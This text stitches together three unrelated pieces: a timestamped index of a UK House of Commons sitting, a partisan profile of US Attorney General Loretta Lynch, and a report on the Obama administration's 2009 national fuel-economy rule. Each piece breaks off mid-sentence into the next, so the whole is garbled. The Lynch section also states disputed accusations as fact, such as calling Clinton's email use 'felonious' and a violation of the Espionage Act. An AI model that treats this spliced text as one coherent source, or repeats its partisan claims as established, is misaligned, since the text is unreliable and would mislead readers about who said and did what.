12:08:57 Mr Tobias Ellwood MP, The Parliamentary Under-Secretary of State for Foreign and Commonwealth Affairs (Bournemouth East, Conservative)
12:09:17 Chris Evans MP (Islwyn, Labour (Co-op))
12:09:34 Mr Tobias Ellwood MP, The Parliamentary Under-Secretary of State for Foreign and Commonwealth Affairs (Bournemouth East, Conservative)
12:09:57 Rt Hon Alistair Burt MP (North East Bedfordshire, Conservative)
12:10:25 Mr Tobias Ellwood MP, The Parliamentary Under-Secretary of State for Foreign and Commonwealth Affairs (Bournemouth East, Conservative)
12:11:00 Graham Jones MP (Hyndburn, Labour)
12:11:30 Mr Tobias Ellwood MP, The Parliamentary Under-Secretary of State for Foreign and Commonwealth Affairs (Bournemouth East, Conservative)
12:11:55 Q9. What recent discussions he has had with his EU counterparts on diplomatic relations after the UK exits the EU. (908038)
12:11:58 Rt Hon Boris Johnson MP, Secretary of State for Foreign and Commonwealth Affairs (Uxbridge and South Ruislip, Conservative)
12:12:27 Emma Reynolds MP (Wolverhampton North East, Labour)
12:12:53 Rt Hon Boris Johnson MP, Secretary of State for Foreign and Commonwealth Affairs (Uxbridge and South Ruislip, Conservative)
12:13:15 Sir Julian Brazier MP (Canterbury, Conservative)
12:13:38 Rt Hon Boris Johnson MP, Secretary of State for Foreign and Commonwealth Affairs (Uxbridge and South Ruislip, Conservative)
12:14:01 Chris Leslie MP (Nottingham East, Labour (Co-op))
12:14:22 Rt Hon Boris Johnson MP, Secretary of State for Foreign and Commonwealth Affairs (Uxbridge and South Ruislip, Conservative)
12:15:18 Richard Benyon MP (Newbury, Conservative)
12:15:45 Rt Hon Boris Johnson MP, Secretary of State for Foreign and Commonwealth Affairs (Uxbridge and South Ruislip, Conservative)
12:16:05 Mr Khalid Mahmood MP (Birmingham, Perry Barr, Labour)
12:16:45 Rt Hon Boris Johnson MP, Secretary of State for Foreign and Commonwealth Affairs (Uxbridge and South Ruislip, Conservative)
12:17:30 Q10. What steps he is taking to promote the resumption of peace talks between Israel and the Palestinian Authority. (908039)
12:17:34 Rt Hon Boris Johnson MP, Secretary of State for Foreign and Commonwealth Affairs (Uxbridge and South Ruislip, Conservative)
12:18:17 Mrs Louise Ellman MP (Liverpool, Riverside, Labour (Co-op))
12:18:34 Rt Hon Boris Johnson MP, Secretary of State for Foreign and Commonwealth Affairs (Uxbridge and South Ruislip, Conservative)
12:19:10 John Howell MP (Henley, Conservative)
12:19:18 Rt Hon Boris Johnson MP, Secretary of State for Foreign and Commonwealth Affairs (Uxbridge and South Ruislip, Conservative)
12:20:04 Rt Hon Tom Brake MP (Carshalton and Wallington, Liberal Democrat)
12:20:14 Rt Hon Boris Johnson MP, Secretary of State for Foreign and Commonwealth Affairs (Uxbridge and South Ruislip, Conservative)
12:20:44 Q11. What recent reports he has received on the persecution of Christians in the Middle East. (908040)
12:20:48 Mr Tobias Ellwood MP, The Parliamentary Under-Secretary of State for Foreign and Commonwealth Affairs (Bournemouth East, Conservative)
12:21:03 Kevin Foster MP (Torbay, Conservative)
12:21:24 Mr Tobias Ellwood MP, The Parliamentary Under-Secretary of State for Foreign and Commonwealth Affairs (Bournemouth East, Conservative)
12:21:45 Danny Kinahan MP (South Antrim, Ulster Unionist Party)
12:22:00 Mr Tobias Ellwood MP, The Parliamentary Under-Secretary of State for Foreign and Commonwealth Affairs (Bournemouth East, Conservative)
12:22:38 Q12. What recent discussions the Government has had with the incoming US administration. (908041)
12:22:46 Rt Hon Boris Johnson MP, Secretary of State for Foreign and Commonwealth Affairs (Uxbridge and South Ruislip, Conservative)
12:23:29 Henry Smith MP (Crawley, Conservative)
12:23:41 Rt Hon Boris Johnson MP, Secretary of State for Foreign and Commonwealth Affairs (Uxbridge and South Ruislip, Conservative)
12:24:15 Topical Questions to the Secretary of State for Foreign and Commonwealth Affairs
12:24:25 Rt Hon Boris Johnson MP, Secretary of State for Foreign and Commonwealth Affairs (Uxbridge and South Ruislip, Conservative)
12:25:08 Rebecca Pow MP (Taunton Deane, Conservative)
12:25:28 Rt Hon Boris Johnson MP, Secretary of State for Foreign and Commonwealth Affairs (Uxbridge and South Ruislip, Conservative)
12:26:49 Rt Hon Alex Salmond MP (Gordon, Scottish National Party)
12:27:21 Rt Hon Boris Johnson MP, Secretary of State for Foreign and Commonwealth Affairs (Uxbridge and South Ruislip, Conservative)
12:28:04 Lucy Frazer MP (South East Cambridgeshire, Conservative)
12:28:20 Mr Tobias Ellwood MP, The Parliamentary Under-Secretary of State for Foreign and Commonwealth Affairs (Bournemouth East, Conservative)
12:29:02 Liz McInnes MP (Heywood and Middleton, Labour)
12:29:25 Rt Hon Boris Johnson MP, Secretary of State for Foreign and Commonwealth Affairs (Uxbridge and South Ruislip, Conservative)
12:29:57 Victoria Atkins MP (Louth and Horncastle, Conservative)
12:30:17 Rt Hon Boris Johnson MP, Secretary of State for Foreign and Commonwealth Affairs (Uxbridge and South Ruislip, Conservative)
12:30:44 Mr Douglas Carswell MP (Clacton, UK Independence Party)
12:31:00 Rt Hon Boris Johnson MP, Secretary of State for Foreign and Commonwealth Affairs (Uxbridge and South Ruislip, Conservative)
12:31:17 Robert Courts MP (Witney, Conservative)
12:31:31 Mr Tobias Ellwood MP, The Parliamentary Under-Secretary of State for Foreign and Commonwealth Affairs (Bournemouth East, Conservative)
12:31:58 Rt Hon Alistair Carmichael MP (Orkney and Shetland, Liberal Democrat)
12:32:14 Rt Hon Boris Johnson MP, Secretary of State for Foreign and Commonwealth Affairs (Uxbridge and South Ruislip, Conservative)
12:32:25 Rt Hon Sir Eric Pickles MP (Brentwood and Ongar, Conservative)
12:32:48 Rt Hon Boris Johnson MP, Secretary of State for Foreign and Commonwealth Affairs (Uxbridge and South Ruislip, Conservative)
12:33:17 Anne McLaughlin MP (Glasgow North East, Scottish National Party)
12:33:40 Mr Tobias Ellwood MP, The Parliamentary Under-Secretary of State for Foreign and Commonwealth Affairs (Bournemouth East, Conservative)
12:33:55 Rt Hon Sir Simon Burns MP (Chelmsford, Conservative)
12:34:18 Rt Hon Boris Johnson MP, Secretary of State for Foreign and Commonwealth Affairs (Uxbridge and South Ruislip, Conservative)
12:35:11 Mike Gapes MP (Ilford South, Labour (Co-op))
12:35:34 Rt Hon Boris Johnson MP, Secretary of State for Foreign and Commonwealth Affairs (Uxbridge and South Ruislip, Conservative)
12:35:45 Rt Hon Dr Julian Lewis MP (New Forest East, Conservative)
12:36:01 Rt Hon Boris Johnson MP, Secretary of State for Foreign and Commonwealth Affairs (Uxbridge and South Ruislip, Conservative)
12:36:38 Margaret Ferrier MP (Rutherglen and Hamilton West, Scottish National Party)
12:36:57 Mr Tobias Ellwood MP, The Parliamentary Under-Secretary of State for Foreign and Commonwealth Affairs (Bournemouth East, Conservative)
12:37:20 Mr Alan Mak MP (Havant, Conservative)
12:37:31 Alok Sharma MP, The Parliamentary Under-Secretary of State for Foreign and Commonwealth Affairs (Reading West, Conservative)
12:37:48 Kate Hoey MP (Vauxhall, Labour)
12:38:03 Mr Tobias Ellwood MP, The Parliamentary Under-Secretary of State for Foreign and Commonwealth Affairs (Bournemouth East, Conservative)
12:38:28 Charlotte Leslie MP (Bristol North West, Conservative)
12:38:45 Rt Hon Boris Johnson MP, Secretary of State for Foreign and Commonwealth Affairs (Uxbridge and South Ruislip, Conservative)
12:39:06 Helen Goodman MP (Bishop Auckland, Labour)
12:39:27 Rt Hon Boris Johnson MP, Secretary of State for Foreign and Commonwealth Affairs (Uxbridge and South Ruislip, Conservative)
12:39:59 Oliver Dowden MP (Hertsmere, Conservative)
12:40:13 Rt Hon Boris Johnson MP, Secretary of State for Foreign and Commonwealth Affairs (Uxbridge and South Ruislip, Conservative)
12:40:55 Mr David Winnick MP (Walsall North, Labour)
12:41:11 Rt Hon Boris Johnson MP, Secretary of State for Foreign and Commonwealth Affairs (Uxbridge and South Ruislip, Conservative)
12:42:01 Kirsten Oswald MP (East Renfrewshire, Scottish National Party)
12:42:22 Alok Sharma MP, The Parliamentary Under-Secretary of State for Foreign and Commonwealth Affairs (Reading West, Conservative)
12:42:49 Rt Hon Anna Soubry MP (Broxtowe, Conservative)
12:43:22 Rt Hon Boris Johnson MP, Secretary of State for Foreign and Commonwealth Affairs (Uxbridge and South Ruislip, Conservative)
12:44:11 Christian Matheson MP (City of Chester, Labour)
12:44:28 Alok Sharma MP, The Parliamentary Under-Secretary of State for Foreign and Commonwealth Affairs (Reading West, Conservative)
12:44:58 Jeremy Lefroy MP (Stafford, Conservative)
12:45:15 Mr Tobias Ellwood MP, The Parliamentary Under-Secretary of State for Foreign and Commonwealth Affairs (Bournemouth East, Conservative)
12:46:18 Urgent Question: HMRC Estate
12:46:21 Rt Hon John McDonnell MP (Hayes and Harlington, Labour)
12:46:36 Jane Ellison MP, The Financial Secretary to the Treasury (Battersea, Conservative)
12:48:58 Rt Hon John McDonnell MP (Hayes and Harlington, Labour)
12:50:28 Jane Ellison MP, The Financial Secretary to the Treasury (Battersea, Conservative)
12:53:26 Rt Hon Sir Nicholas Soames MP (Mid Sussex, Conservative)
12:54:00 Jane Ellison MP, The Financial Secretary to the Treasury (Battersea, Conservative)
12:54:50 Stewart Hosie MP (Dundee East, Scottish National Party)
12:55:34 Jane Ellison MP, The Financial Secretary to the Treasury (Battersea, Conservative)
12:56:59 Mrs Anne-Marie Trevelyan MP (Berwick-upon-Tweed, Conservative)
12:57:32 Jane Ellison MP, The Financial Secretary to the Treasury (Battersea, Conservative)
12:58:38 Chris Bryant MP (Rhondda, Labour)
12:59:14 Jane Ellison MP, The Financial Secretary to the Treasury (Battersea, Conservative)
13:00:13 Nigel Mills MP (Amber Valley, Conservative)
13:00:33 Jane Ellison MP, The Financial Secretary to the Treasury (Battersea, Conservative)
13:01:16 Sue Hayman MP (Workington, Labour)
13:02:18 Jane Ellison MP, The Financial Secretary to the Treasury (Battersea, Conservative)
13:03:11 Philip Davies MP (Shipley, Conservative)
13:03:53 Jane Ellison MP, The Financial Secretary to the Treasury (Battersea, Conservative)
13:04:40 Ms Margaret Ritchie MP (South Down, Social Democratic & Labour Party)
13:05:16 Jane Ellison MP, The Financial Secretary to the Treasury (Battersea, Conservative)
13:06:06 Mr David Nuttall MP (Bury North, Conservative)
13:06:34 Jane Ellison MP, The Financial Secretary to the Treasury (Battersea, Conservative)
13:07:25 Sammy Wilson MP (East Antrim, Democratic Unionist Party)
13:07:54 Jane Ellison MP, The Financial Secretary to the Treasury (Battersea, Conservative)
13:08:37 Diana Johnson MP (Kingston upon Hull North, Labour)
13:09:00 Jane Ellison MP, The Financial Secretary to the Treasury (Battersea, Conservative)
13:10:01 Hannah Bardell MP (Livingston, Scottish National Party)
13:10:31 Jane Ellison MP, The Financial Secretary to the Treasury (Battersea, Conservative)
13:11:01 Louise Haigh MP (Sheffield, Heeley, Labour)
13:11:39 Jane Ellison MP, The Financial Secretary to the Treasury (Battersea, Conservative)
13:12:37 Liz Saville Roberts MP (Dwyfor Meirionnydd, Plaid Cymru)
13:12:58 Jane Ellison MP, The Financial Secretary to the Treasury (Battersea, Conservative)
13:13:24 Imran Hussain MP (Bradford East, Labour)
13:13:59 Jane Ellison MP, The Financial Secretary to the Treasury (Battersea, Conservative)
13:14:36 Chris Stephens MP (Glasgow South West, Scottish National Party)
13:15:05 Jane Ellison MP, The Financial Secretary to the Treasury (Battersea, Conservative)
13:15:51 Geraint Davies MP (Swansea West, Labour (Co-op))
13:16:26 Jane Ellison MP, The Financial Secretary to the Treasury (Battersea, Conservative)
13:17:03 Mr Gregory Campbell MP (East Londonderry, Democratic Unionist Party)
13:17:23 Jane Ellison MP, The Financial Secretary to the Treasury (Battersea, Conservative)
13:17:55 Rt Hon Tom Brake MP (Carshalton and Wallington, Liberal Democrat)
13:18:18 Jane Ellison MP, The Financial Secretary to the Treasury (Battersea, Conservative)
13:18:49 Ian C. Lucas MP (Wrexham, Labour)
13:19:32 Jane Ellison MP, The Financial Secretary to the Treasury (Battersea, Conservative)
13:20:10 Stuart C. McDonald MP (Cumbernauld, Kilsyth and Kirkintilloch East, Scottish National Party)
13:20:28 Jane Ellison MP, The Financial Secretary to the Treasury (Battersea, Conservative)
13:20:53 Susan Elan Jones MP (Clwyd South, Labour)
13:21:14 Jane Ellison MP, The Financial Secretary to the Treasury (Battersea, Conservative)
13:21:55 Chris Evans MP (Islwyn, Labour (Co-op))
13:22:38 Jane Ellison MP, The Financial Secretary to the Treasury (Battersea, Conservative)
13:23:31 Patrick Grady MP (Glasgow North, Scottish National Party)
13:23:54 Jane Ellison MP, The Financial Secretary to the Treasury (Battersea, Conservative)
13:24:49 Tom Elliott MP (Fermanagh and South Tyrone, Ulster Unionist Party)
13:25:09 Jane Ellison MP, The Financial Secretary to the Treasury (Battersea, Conservative)
13:25:56 Statement: Northern Ireland Political Developments
13:26:00 Rt Hon James Brokenshire MP, The Secretary of State for Northern Ireland (Old Bexley and Sidcup, Conservative)
13:33:20 Mr David Anderson MP (Blaydon, Labour)
13:37:50 Rt Hon James Brokenshire MP, The Secretary of State for Northern Ireland (Old Bexley and Sidcup, Conservative)
13:40:28 Mr Laurence Robertson MP (Tewkesbury, Conservative)
13:41:02 Rt Hon James Brokenshire MP, The Secretary of State for Northern Ireland (Old Bexley and Sidcup, Conservative)
13:41:45 Deidre Brock MP (Edinburgh North and Leith, Scottish National Party)
13:43:21 Rt Hon James Brokenshire MP, The Secretary of State for Northern Ireland (Old Bexley and Sidcup, Conservative)
13:45:04 Rt Hon Theresa Villiers MP (Chipping Barnet, Conservative)
13:45:24 Rt Hon James Brokenshire MP, The Secretary of State for Northern Ireland (Old Bexley and Sidcup, Conservative)
13:45:58 Rt Hon Nigel Dodds MP (Belfast North, Democratic Unionist Party)
13:47:19 Rt Hon James Brokenshire MP, The Secretary of State for Northern Ireland (Old Bexley and Sidcup, Conservative)
13:47:59 Rt Hon Owen Paterson MP (North Shropshire, Conservative)
13:48:31 Rt Hon James Brokenshire MP, The Secretary of State for Northern Ireland (Old Bexley and Sidcup, Conservative)
13:48:54 Vernon Coaker MP (Gedling, Labour)
13:49:14 Rt Hon James Brokenshire MP, The Secretary of State for Northern Ireland (Old Bexley and Sidcup, Conservative)
13:49:54 Maria Caulfield MP (Lewes, Conservative)
13:50:09 Rt Hon James Brokenshire MP, The Secretary of State for Northern Ireland (Old Bexley and Sidcup, Conservative)
13:50:42 Dr Alasdair McDonnell MP (Belfast South, Social Democratic & Labour Party)
13:52:03 Rt Hon James Brokenshire MP, The Secretary of State for Northern Ireland (Old Bexley and Sidcup, Conservative)
13:53:13 Richard Benyon MP (Newbury, Conservative)
13:53:40 Rt Hon James Brokenshire MP, The Secretary of State for Northern Ireland (Old Bexley and Sidcup, Conservative)
13:54:20 Mr Ivan Lewis MP (Bury South, Labour)
13:54:55 Rt Hon James Brokenshire MP, The Secretary of State for Northern Ireland (Old Bexley and Sidcup, Conservative)
13:55:28 Nigel Mills MP (Amber Valley, Conservative)
13:55:36 Rt Hon James Brokenshire MP, The Secretary of State for Northern Ireland (Old Bexley and Sidcup, Conservative)
13:56:01 Rt Hon Alistair Carmichael MP (Orkney and Shetland, Liberal Democrat)
13:56:36 Rt Hon James Brokenshire MP, The Secretary of State for Northern Ireland (Old Bexley and Sidcup, Conservative)
13:57:19 Rt Hon Dr Julian Lewis MP (New Forest East, Conservative)
13:57:52 Rt Hon James Brokenshire MP, The Secretary of State for Northern Ireland (Old Bexley and Sidcup, Conservative)
13:58:31 Rt Hon Sir Jeffrey M. Donaldson MP (Lagan Valley, Democratic Unionist Party)
13:58:50 Rt Hon James Brokenshire MP, The Secretary of State for Northern Ireland (Old Bexley and Sidcup, Conservative)
13:59:29 Dr Andrew Murrison MP (South West Wiltshire, Conservative)
14:00:04 Rt Hon James Brokenshire MP, The Secretary of State for Northern Ireland (Old Bexley and Sidcup, Conservative)
14:00:41 Mark Durkan MP (Foyle, Social Democratic & Labour Party)
14:01:26 Rt Hon James Brokenshire MP, The Secretary of State for Northern Ireland (Old Bexley and Sidcup, Conservative)
14:02:01 Claire Perry MP (Devizes, Conservative)
14:02:34 Rt Hon James Brokenshire MP, The Secretary of State for Northern Ireland (Old Bexley and Sidcup, Conservative)
14:03:10 Rt Hon David Hanson MP (Delyn, Labour)
14:03:35 Rt Hon James Brokenshire MP, The Secretary of State for Northern Ireland (Old Bexley and Sidcup, Conservative)
14:04:08 James Heappey MP (Wells, Conservative)
14:04:39 Rt Hon James Brokenshire MP, The Secretary of State for Northern Ireland (Old Bexley and Sidcup, Conservative)
14:05:07 Ian Paisley MP (North Antrim, Democratic Unionist Party)
14:05:37 Rt Hon James Brokenshire MP, The Secretary of State for Northern Ireland (Old Bexley and Sidcup, Conservative)
14:06:16 Tom Blenkinsop MP (Middlesbrough South and East Cleveland, Labour)
14:06:45 Rt Hon James Brokenshire MP, The Secretary of State for Northern Ireland (Old Bexley and Sidcup, Conservative)
14:07:14 David Simpson MP (Upper Bann, Democratic Unionist Party)
14:07:45 Rt Hon James Brokenshire MP, The Secretary of State for Northern Ireland (Old Bexley and Sidcup, Conservative)
14:08:20 Tom Elliott MP (Fermanagh and South Tyrone, Ulster Unionist Party)
14:08:42 Rt Hon James Brokenshire MP, The Secretary of State for Northern Ireland (Old Bexley and Sidcup, Conservative)
14:09:24 Ms Margaret Ritchie MP (South Down, Social Democratic & Labour Party)
14:10:00 Rt Hon James Brokenshire MP, The Secretary of State for Northern Ireland (Old Bexley and Sidcup, Conservative)
14:10:40 Martin Docherty-Hughes MP (West Dunbartonshire, Scottish National Party)
14:10:58 Rt Hon James Brokenshire MP, The Secretary of State for Northern Ireland (Old Bexley and Sidcup, Conservative)
14:11:47 Gavin Robinson MP (Belfast East, Democratic Unionist Party)
14:12:31 Rt Hon James Brokenshire MP, The Secretary of State for Northern Ireland (Old Bexley and Sidcup, Conservative)
14:12:59 Danny Kinahan MP (South Antrim, Ulster Unionist Party)
14:13:32 Rt Hon James Brokenshire MP, The Secretary of State for Northern Ireland (Old Bexley and Sidcup, Conservative)
14:14:14 Point of Order
14:18:08 Ten Minute Rule Motion: Mutual Guarantee Societies
14:18:13 Christina Rees MP (Neath, Labour (Co-op))
14:28:54 Legislation: Commonwealth Development Corporation Bill - Report stage
14:29:01 Kate Osamor MP (Edmonton, Labour (Co-op))
14:44:23 Mrs Flick Drummond MP (Portsmouth South, Conservative)
14:51:16 Patrick Grady MP (Glasgow North, Scottish National Party)
14:59:41 Richard Fuller MP (Bedford, Conservative)
15:08:29 Stephen Twigg MP (Liverpool, West Derby, Labour (Co-op))
15:23:40 Paul Scully MP (Sutton and Cheam, Conservative)
15:28:31 Stephen Doughty MP (Cardiff South and Penarth, Labour (Co-op))
15:48:16 Tommy Sheppard MP (Edinburgh East, Scottish National Party)
15:57:45 Mrs Madeleine Moon MP (Bridgend, Labour)
16:04:33 Rory Stewart MP, The Minister of State, Department for International Development (Penrith and The Border, Conservative)
16:21:15 Division
16:35:45 Division
16:48:55 Legislation: Commonwealth Development Corporation Bill - 3rd reading
16:49:09 Rory Stewart MP, The Minister of State, Department for International Development (Penrith and The Border, Conservative)
16:55:36 Imran Hussain MP (Bradford East, Labour)
17:02:16 Jeremy Lefroy MP (Stafford, Conservative)
17:03:46 Patrick Grady MP (Glasgow North, Scottish National Party)
17:07:23 Sir Peter Bottomley MP (Worthing West, Conservative)
17:08:01 Stephen Doughty MP (Cardiff South and Penarth, Labour (Co-op))
17:12:24 Legislation: Policing and Crime Bill - Programme motion
17:12:48 Legislation: Policing and Crime Bill - Consideration of Lords amendments
17:13:54 Rt Hon Brandon Lewis MP (Great Yarmouth, Conservative)
17:28:11 Lyn Brown MP (West Ham, Labour)
17:42:41 Alex Chalk MP (Cheltenham, Conservative)
17:48:49 Jess Phillips MP (Birmingham, Yardley, Labour)
17:55:12 Mr Charles Walker MP (Broxbourne, Conservative)
18:04:42 Sir Peter Bottomley MP (Worthing West, Conservative)
18:06:30 Richard Graham MP (Gloucester, Conservative)
18:11:57 Sir Gerald Howarth MP (Aldershot, Conservative)
18:20:51 Kevin Foster MP (Torbay, Conservative)
18:27:40 Bill Wiggin MP (North Herefordshire, Conservative)
18:30:40 Rt Hon John Whittingdale MP (Maldon, Conservative)
18:34:30 James Berry MP (Kingston and Surbiton, Conservative)
18:38:21 Division
18:55:55 Division
19:13:55 Division
19:29:58 Rt Hon Brandon Lewis MP, Minister of State (Home Office) (Policing and the Fire Service) (Great Yarmouth, Conservative)
19:36:55 Ms Diane Abbott |
had received a tip from a “trusted source” that Clinton and Lynch would be meeting aboard the plane.
When reports of the Clinton-Lynch meeting were subsequently made public, an aide to Mr. Clinton said: “The President’s conversation with the attorney general was unplanned and was entirely social in nature. But recognizing how others could take another view of it, he agrees with the attorney general that he would not do it again.” Hillary Clinton, for her part, told MSNBC’s Chuck Todd: “Obviously, no one wants to see any untoward conclusions drawn, and they said they would not do it again.” And Lynch said: “I certainly wouldn’t do it again because I think it has cast this shadow over what it should not, over what it will not touch. It’s important to make it clear that that meeting with President Clinton does not have a bearing on how this matter will be reviewed and resolved…. It really was a social meeting, and it was, it really was in that regard. He spoke to me, he spoke to my husband for some time on the plane, and then we moved on.”
On July 6, 2016 — nine days after her meeting with Mr. Clinton — Lynch announced that the DOJ would not be indicting Hillary Clinton. Said the Attorney General: “Late this afternoon, I met with FBI Director James Comey and career prosecutors and agents who conducted the investigation of Secretary Hillary Clinton’s use of a personal email system during her time as Secretary of State. I received and accepted their unanimous recommendation that the thorough, year-long investigation be closed and that no charges be brought against any individuals within the scope of the investigation.”
On November 2, 2016, the American Center for Law and Justice sued the Justice Department to obtain more information about the Lynch-Clinton meeting at the Arizona airport.
Lynch Refuses to Explain Her Decision Not to Indict Hillary Clinton
After Lynch chose to abide by FBI Director James Comey’s July 5, 2016 recommendation that the Justice Department not indict Hillary Clinton for her felonious email transgressions which had violated the Espionage Act, the attorney general was called to testify about her decision before the House Judiciary Committee. Seventy-four times during her July 12 testimony, Lynch either declined or refused to answer a question. Toward the end of Lynch’s appearance, Congressman David Trott, who headed the proceedings, said: “I knew you weren’t going to answer our questions today and I apologize for wasting so much time here because it’s really not been very productive. It’s one of two things: Either you’re saying that to avoid the appearance of impropriety in which case you should have recused yourself, or you’re trying to protect Hillary Clinton.”
Lynch Refuses to Answer Questions about the Obama Administration’s $1.7 Billion Ransom Payment to Iran
In early October 2016, Republican Senator Marco Rubio and Republican Congressman Mike Pompeo presented Lynch with a series of questions about how and why the Obama administration had approved and carried out a secret $1.7 billion cash transfer to Iran (in foreign hard currency) nine months earlier — a transfer that coincided with Iran’s release of four American hostages on January 17, prompting many analysts to characterize it as a ransom payment. In an October 24 response to the Rubio/Pompeo letter, Assistant Attorney General Peter Kadzik responded on Lynch’s behalf by refusing to answer the questions. Rubio and Pompeo then sent a follow-up letter to Lynch, stating that her decision to “essentially plead the fifth and refuse to respond to inquiries regarding [her] role in providing cash to the world’s foremost state sponsor of terrorism,” was “unacceptable.”
**Lynch Objects to FBI Director Comey’s Announcement That the Investigation into Hillary Clinton’s Private Email Server Was Being Reopened
**Lynch objected when FBI Director James Comey publicly announced in late October 2016 that because of the recent discovery of some 650,000 emails on a laptop computer belonging to Hillary Clinton’s top aide, Huma Abedin, he was reopening the Bureau’s investigation into Mrs. Clinton’s illicit use of a private, unsecured email server (in blatant violation of the Espionage Act) during her tenure as Secretary of State from 2009-13. Comey’s decision to go public was based on: (a) a July 2016 pledge he had made to inform members of Congress about any significant developments that might subsequently arise in the case, and (b) mounting pressure by angry FBI agents who had felt betrayed when Comey (in July) failed to recommend that Clinton be indicted; indeed, nearly 100 agents were threatening to quit their jobs prior to the upcoming November 2016 presidential election. Lynch, for her part, wanted Comey to keep quiet about the newly uncovered emails until after the election. Said one Justice Department official: “Director Comey understood our position. He heard it from Justice leadership. It was conveyed to the FBI, and Comey made an independent decision to alert the Hill. He is operating independently of the Justice Department. And he knows it.”
Lynch and DOJ Try to Obstruct FBI Investigation of the Clinton Foundation
On October 30, 2016, the Wall Street Journalreported that, for more than a year, the FBI had been investigating the Clinton Foundation for potential financial crimes and influence peddling. “In September,” said the Journal, “agents on the foundation case asked to see the emails contained on nongovernment laptops that had been searched as part of the [Hillary] Clinton email case, but that request was rejected by prosecutors at the Eastern District of New York, in Brooklyn” — where Loretta Lynch had been U.S. Attorney from 2010-15, and where she had hired and supervised many of the attorneys who worked in that office. Added the Journal:
“Those emails were given to the FBI based on grants of partial immunity and limited-use agreements, meaning agents could only use them for the purpose of investigating possible mishandling of classified information. Some FBI agents were dissatisfied with that answer, and asked for permission to make a similar request to federal prosecutors in Manhattan…. [FBI Deputy Director Andrew] McCabe … told them no and added that they couldn’t ‘go prosecutor-shopping.’”
Notably, when McCabe’s wife, Jill McCabe, had run for a Virginia state senate seat in 2015, her campaign was given $675,000 in cash and in-kind contributions by political committees controlled by Virginia Governor Terry McAuliffe, a strong Clinton ally and a former Clinton Foundation board member.
In response to the aforementioned Wall Street Journal report, former federal prosecutor Andrew C. McCarthy wrote: “When we learn that Clinton Foundation investigators are being denied access to patently relevant evidence by federal prosecutors in Brooklyn,thoseare … Loretta Lynch’s prosecutors [whom] we are talking about.” Further, McCarthy noted that Lynch’s Justice Department had:
“refused to authorize use of the grand jury to further the Clinton e-mails investigation, thus depriving the FBI of the power to compel testimony and the production of evidence by subpoena”;
“consulted closely with defense attorneys representing subjects of the investigation”;
“permitted Cheryl Mills and Heather Samuelson — the subordinates deputized by Mrs. Clinton to sort through her e-mails and destroy thousands of them — to represent Clinton as attorneys, despite the fact that they were subjects of the same investigation and had been granted immunity from prosecution (to say nothing of the ethical and legal prohibitions against such an arrangement)”;
“drastically restricted the FBI’s questioning of Mills and other subjects of the investigation”; and
“struck the outrageous deals that gave Mills and Samuelson immunity from prosecution in exchange for providing the FBI with the laptops on which they reviewed Clinton’s four years of e-mails.”
“That [immunity] arrangement,” McCarthy added, “was outrageous for three reasons: 1) Mills and Samuelson should have been compelled to produce the computers by grand-jury subpoena with no immunity agreement; 2) Lynch’s Justice Department drastically restricted the FBI’s authority to examine the computers; and 3) Lynch’s Justice Department agreed that the FBI would destroy the computers following its very limited examination.”
**
Lynch Tries to Influence the FBI Investigation of Hillary Clinton, and to Influence the 2016 Presidential Election**
During his televised testimony before the Senate Intelligence Committee on June 8, 2017, former FBI Director James Comey said that Attorney General Lynch had directed him to refer to the Hillary Clinton email probe as a “matter,” rather than as an “investigation” — language that precisely matched the way in which the Clinton campaign was referring to the investigation. Comey added that Lynch’s request had “confused and concerned” him, and had caused him to make his own, independent announcement about the Clinton case in July 2016. Later in the Senate Intelligence Committee hearing, Comey clarified that the Clinton matter was a “criminal investigation,” and that the campaign’s use of “euphemisms [like] security review” [to describe the FBI’s work] were “inaccurate” and “gave [him] a queasy feeling.”
Comey subsequently testified before the Senate Intelligence Committee in a closed-door session and revealed additional information about Lynch’s handling of the Clinton investigation. Circa.com reported on June 13, 2017:
“Comey told lawmakers in the close door session that he raised his concern with the attorney general that she had created a conflict of interest by meeting with Clinton’s husband, the former President Bill Clinton, on an airport tarmac while the investigation was ongoing. During the conversation, Comey told lawmakers he confronted Lynch with a highly sensitive piece of evidence, a communication between two political figures that suggested Lynch had agreed to put the kibosh on any prosecution of Clinton. Comey said ‘the attorney general looked at the document, then looked up with a steely silence that lasted for some time, then asked him if he had any other business with her and if not that he should leave her office,’ said one source who was briefed. Comey ‘took that interaction and the fact she [Lynch] had met with Bill Clinton as enough reason to decide he would not allow the Justice Department to decide the fate of the case and instead would go public’ with his own assessment that the FBI could not prove Mrs. Clinton intended to violate the law when she transmitted classified information through her private email and therefore should not be criminally charged.”
*
Lynch Calls for Continued Mob Protests Against the Trump Administration*
In early March 2017, Lynch made a video plea calling for continued street demonstrations protesting the presidency of Donald Trump. Said Lynch:“For seven long years, there has been a debate over whether states or the federal government should regulate autos,” said Dave McCurdy, president of the Alliance of Auto Manufacturers, the industry’s largest trade association. “President Obama’s announcement ends that old debate by starting a federal rulemaking to set a national program.”
Mr. McCurdy, a former Democratic congressman from Oklahoma, has been working with Mr. Obama and his advisers on the issue since early this year.
In announcing the new program at the White House, Mr. Obama will be accompanied by Gov. Jennifer Granholm of Michigan and Gov. Arnold Schwarzenegger of California, along with auto industry executives and environmental leaders.
The administration’s decision resolves a question over California’s application for a waiver from federal clean air laws to impose its own, tougher vehicle emissions standards. Thirteen states and the District of Columbia have said they plan to adopt the California program.
The new national fleet mileage rule for cars and light trucks of 35.5 miles per gallon by 2016 roughly corresponds to the California requirement, which will be shelved as a result. The current national standard is slightly more than 25 miles per gallon.
The California plan, first proposed in 2002, had been stalled by industry lawsuits and the Bush administration’s refusal to grant a waiver from less stringent federal rules, although California has been given dozens of such exemptions over the last 40 years.
The program will also end a number of lawsuits over the California standards, officials said.
“This is a very big deal,” said Daniel Becker, director of the Safe Climate Campaign, who has pushed for tougher mileage and emissions standards for two decades with the goal of curbing the gases that have been linked to global warming. “This is the single biggest step the American government has ever taken to cut greenhouse gas emissions.”
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The administration had faced a June 30 deadline set by Congress to decide whether to grant California’s application to put its emissions rules into effect. President Obama became personally involved in the issue because he was also trying to find a way to rescue American auto companies from their financial crisis.
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One ranking industry official said that the administration wanted to get the new mileage rules in place before General Motors made a decision on a bankruptcy filing, which could happen by the end of this month. The new rules also provide some certainty for Chrysler, which is already under bankruptcy protection, so that it can plan its future models.
To meet the new federal standards, auto companies will have to drastically change their product lineups in a relatively short time.
The companies have declined so far to comment on the costs involved in meeting a fleet standard of 35 miles a gallon. For starters, the automakers will probably have to sharply reduce the number of low-mileage models, like pickup trucks and large sedans.
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The president’s decision will also accelerate the development of smaller cars and engines already under way.
